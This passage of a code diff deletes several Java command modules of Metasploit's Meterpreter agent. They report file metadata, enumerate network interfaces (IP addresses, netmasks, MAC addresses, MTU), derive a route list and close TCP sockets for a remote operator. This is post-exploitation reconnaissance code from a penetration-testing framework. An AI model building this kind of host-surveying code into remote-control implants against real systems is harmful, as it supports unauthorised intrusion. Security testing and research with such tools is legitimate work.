int mode = (file.canRead() ? 0444 : 0) | (file.canWrite() ? 0222 : 0) | (canExecute(file) ? 0110 : 0) | (file.isHidden() ? 1 : 0) | (file.isDirectory() ? 040000 : 0) | (file.isFile() ? 0100000 : 0);
return stat(mode, file.length(), file.lastModified());
}
private byte[] stat(int mode, long length, long lastModified) throws IOException {
ByteArrayOutputStream statbuf = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(statbuf);
dos.writeInt(le(0)); // dev
dos.writeShort(short_le(0)); // ino
dos.writeShort(short_le(mode)); // mode
dos.writeShort(short_le(1)); // nlink
dos.writeShort(short_le(65535)); // uid
dos.writeShort(short_le(65535)); // gid
dos.writeShort(short_le(0)); // padding
dos.writeInt(le(0)); // rdev
dos.writeInt(le((int) length)); // size
int mtime = (int) (lastModified / 1000);
dos.writeInt(le(mtime)); // atime
dos.writeInt(le(mtime)); // mtime
dos.writeInt(le(mtime)); // ctime
dos.writeInt(le(1024)); // blksize
dos.writeInt(le((int) ((length + 1023) / 1024))); // blocks
return statbuf.toByteArray();
}
/**
* Check whether a file can be executed.
*/
protected boolean canExecute(File file) {
return false;
}
/**
* Convert an integer to little endian.
*/
private static int le(int value) {
return ((value & 0xff) << 24) | ((value & 0xff00) << 8) | ((value & 0xff0000) >> 8) | (int) ((value & 0xff000000L) >> 24);
}
/**
* Convert a short to little endian.
*/
private static int short_le(int value) {
return ((value & 0xff) << 8) | ((value & 0xff00) >> 8);
}
}

View File

@ -1,10 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
public class stdapi_fs_stat_V1_6 extends stdapi_fs_stat {
protected boolean canExecute(File file) {
return file.canExecute();
}
}

View File

@ -1,5 +0,0 @@
package com.metasploit.meterpreter.stdapi;
// Dummy class
public class stdapi_net_config_get_interfaces {
}

View File

@ -1,99 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.IOException;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.List;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_net_config_get_interfaces_V1_4 extends stdapi_net_config_get_interfaces implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int index = 0;
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements();) {
NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
TLVPacket ifaceTLV = new TLVPacket();
ifaceTLV.add(TLVType.TLV_TYPE_INTERFACE_INDEX, ++index);
Address[] addresses = getAddresses(iface);
for (int i = 0; i < addresses.length; i++) {
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP, addresses[i].address);
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP_PREFIX, new Integer(addresses[i].prefixLength));
if (addresses[i].scopeId != null) {
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP6_SCOPE, addresses[i].scopeId);
}
}
addMTU(ifaceTLV, iface);
byte[] mac = getMacAddress(iface);
if (mac != null) {
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, mac);
} else {
// seems that Meterpreter does not like interfaces without
// mac address
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, new byte[0]);
}
ifaceTLV.add(TLVType.TLV_TYPE_MAC_NAME, iface.getName() + " - " + iface.getDisplayName());
response.addOverflow(TLVType.TLV_TYPE_NETWORK_INTERFACE, ifaceTLV);
}
return ERROR_SUCCESS;
}
protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException {
// not supported before 1.6
}
protected byte[] getMacAddress(NetworkInterface iface) throws IOException {
return null;
}
/**
* Return address information of this interface that cannot be determined
* the same way for all Java versions.
*
* @param iface
* @return Array of {@link Interface}
*/
public Address[] getAddresses(NetworkInterface iface) throws IOException {
List/* <Address> */result = new ArrayList();
for (Enumeration en = iface.getInetAddresses(); en.hasMoreElements();) {
InetAddress addr = (InetAddress) en.nextElement();
byte[] ip = addr.getAddress();
if (ip == null)
continue;
int prefixLength = 0;
if (ip.length == 4) {
// guess netmask by network class...
if ((ip[0] & 0xff) < 0x80) {
prefixLength = 8;
} else if ((ip[0] & 0xff) < 0xc0) {
prefixLength = 16;
} else {
prefixLength = 24;
}
}
result.add(new Address(ip, prefixLength, null));
}
return (Address[]) result.toArray(new Address[result.size()]);
}
/**
* An IP address associated to an interface, together with a prefix length
* and optionally a scope.
*/
protected static class Address {
public final byte[] address;
public final int prefixLength;
public final byte[] scopeId;
public Address(byte[] address, int prefixLength, byte[] scopeId) {
this.address = address;
this.prefixLength = prefixLength;
this.scopeId = scopeId;
}
}
}

View File

@ -1,52 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.IOException;
import java.net.Inet6Address;
import java.net.InterfaceAddress;
import java.net.NetworkInterface;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
public class stdapi_net_config_get_interfaces_V1_6 extends stdapi_net_config_get_interfaces_V1_4 {
public Address[] getAddresses(NetworkInterface iface) throws IOException {
List/* <Address> */result = new ArrayList();
List addresses = iface.getInterfaceAddresses();
for (Iterator it = addresses.iterator(); it.hasNext();) {
InterfaceAddress addr = (InterfaceAddress) it.next();
byte[] ip = addr.getAddress().getAddress();
if (ip == null)
continue;
int prefixLength = addr.getNetworkPrefixLength();
if (prefixLength == -1 && ip.length == 4) {
// guess netmask by network class...
if ((ip[0] & 0xff) < 0x80) {
prefixLength = 8;
} else if ((ip[0] & 0xff) < 0xc0) {
prefixLength = 16;
} else {
prefixLength = 24;
}
}
byte[] scopeId = null;
if (addr.getAddress() instanceof Inet6Address) {
ByteBuffer bb = ByteBuffer.allocate(4);
bb.order(ByteOrder.BIG_ENDIAN);
bb.putInt(((Inet6Address) addr.getAddress()).getScopeId());
scopeId = bb.array();
}
result.add(new Address(ip, prefixLength, scopeId));
}
return (Address[]) result.toArray(new Address[result.size()]);
}
protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException {
ifaceTLV.add(TLVType.TLV_TYPE_MTU, iface.getMTU());
}
}

View File

@ -1,5 +0,0 @@
package com.metasploit.meterpreter.stdapi;
// Dummy class
public class stdapi_net_config_get_routes {
}

View File

@ -1,39 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.net.NetworkInterface;
import java.util.Enumeration;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_net_config_get_routes_V1_4 extends stdapi_net_config_get_routes implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
stdapi_net_config_get_interfaces_V1_4 getIfaceCommand = (stdapi_net_config_get_interfaces_V1_4) meterpreter.getCommandManager().getCommand("stdapi_net_config_get_interfaces");
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements();) {
NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
stdapi_net_config_get_interfaces_V1_4.Address[] addresses = getIfaceCommand.getAddresses(iface);
for (int i = 0; i < addresses.length; i++) {
TLVPacket ifaceTLV = new TLVPacket();
ifaceTLV.add(TLVType.TLV_TYPE_SUBNET, addresses[i].address);
int length = addresses[i].address.length;
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, createNetworkMask(length, addresses[i].prefixLength));
ifaceTLV.add(TLVType.TLV_TYPE_GATEWAY, new byte[length]);
response.addOverflow(TLVType.TLV_TYPE_NETWORK_ROUTE, ifaceTLV);
}
}
return ERROR_SUCCESS;
}
private static byte[] createNetworkMask(int length, int prefixLength) {
if (prefixLength > length * 8)
prefixLength = length * 8;
byte[] netmask = new byte[length];
for (int i = 0; i < prefixLength; i++) {
netmask[i / 8] |= (1 << (7 - (i % 8)));
}
return netmask;
}
}

View File

@ -1,28 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.IOException;
import java.net.Socket;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.SocketChannel;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_net_socket_tcp_shutdown implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
SocketChannel c = (SocketChannel) meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
Socket socket = c.getSocket();
int how = request.getIntValue(TLVType.TLV_TYPE_SHUTDOWN_HOW);
shutdown(socket, how);
return ERROR_SUCCESS;
}
protected void shutdown(Socket socket, int how) throws IOException {
socket.close();
}
}

View File

@ -1,28 +0,0 @@
package com.metasploit.meterpreter.stdapi;
import java.io.IOException;
import java.net.Socket;
public class stdapi_net_socket_tcp_shutdown_V1_3 extends stdapi_net_socket_tcp_shutdown {
protected void shutdown(Socket socket, int how) throws IOException {
switch (how) {
case 0: // shutdown reading
socket.shutdownInput();
break;
case 1: // shutdown writing
socket.shutdownOutput();
break;
case 2: // shutdown reading and writing
socket.shutdownInput();
socket.shutdownOutput();
break;
default:
throw new IllegalArgumentException("Invalid value for TLV_TYPE_SHUTDOWN_HOW: " + how);
}
}
}

Some files were not shown because too many files have changed in this diff Show More